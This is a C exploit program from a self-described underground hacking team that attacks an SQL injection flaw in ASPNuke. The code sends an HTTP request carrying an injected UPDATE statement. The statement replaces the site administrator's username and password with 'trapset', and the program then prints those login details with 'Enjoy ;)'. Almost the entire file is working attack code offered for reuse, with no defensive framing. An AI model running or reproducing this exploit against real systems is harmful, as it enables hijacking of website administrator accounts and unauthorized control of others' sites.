/*
*******************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
*******************************************
EXPLOIT FOR : ASPNuke SQL Injection Vulnerability

Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer at Yahoo

This Xpl Change ASP-Nuke Admin's Password and Username , You can Change 
This Code For Yourself

Discovered By : Trap-Set Underground Hacking Team (OIL_KarchacK)

*******************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- Dr-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
*  *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
*******************************************
*/
#include 
#include 
#include 
#pragma comment(lib, "ws2_32.lib")
#include 


#define MY_PORT         80
#define BUF_LEN         256

int main(int arg_c, char *arg_v[])
{
static const char cmd[] =
"GET /module/article/article/article.asp?articleid=1%20;"
"%20update%20tbluser%20SET%20password="
"'bf16c7ec063e8f1b62bf4ca831485ba0da56328f818"
"763ed34c72ca96533802c'%20,%20username="
"'trapset'%20where%20userID=1%20-- HTTP/1.0\n"
"Host: Host.com\n\n\n\n";

struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;

/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);

if(arg_c != 2)
{
printf("Usage : ASPNuke.exe [Targ3t]\n");
return 1;
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);

he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("Can't Get IP address of Host '%s'\n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("[+] C0nnectinG...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("Connect() returned %d, errno=%d\n", i, errno);
return 1;
}
/* send HTTP command */
printf("[+] Injecting SQL...\n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send() returned %d, errno=%d\n", i, errno);
return 1;
}

/* close socket */
printf("[+] Changed ...\n");
closesocket(sock);
printf ("Now , Login With :\n");
printf ("Username: trapset\n");
printf ("Password: trapset\n");
printf ("Enjoy ;)\n");
return 0;
}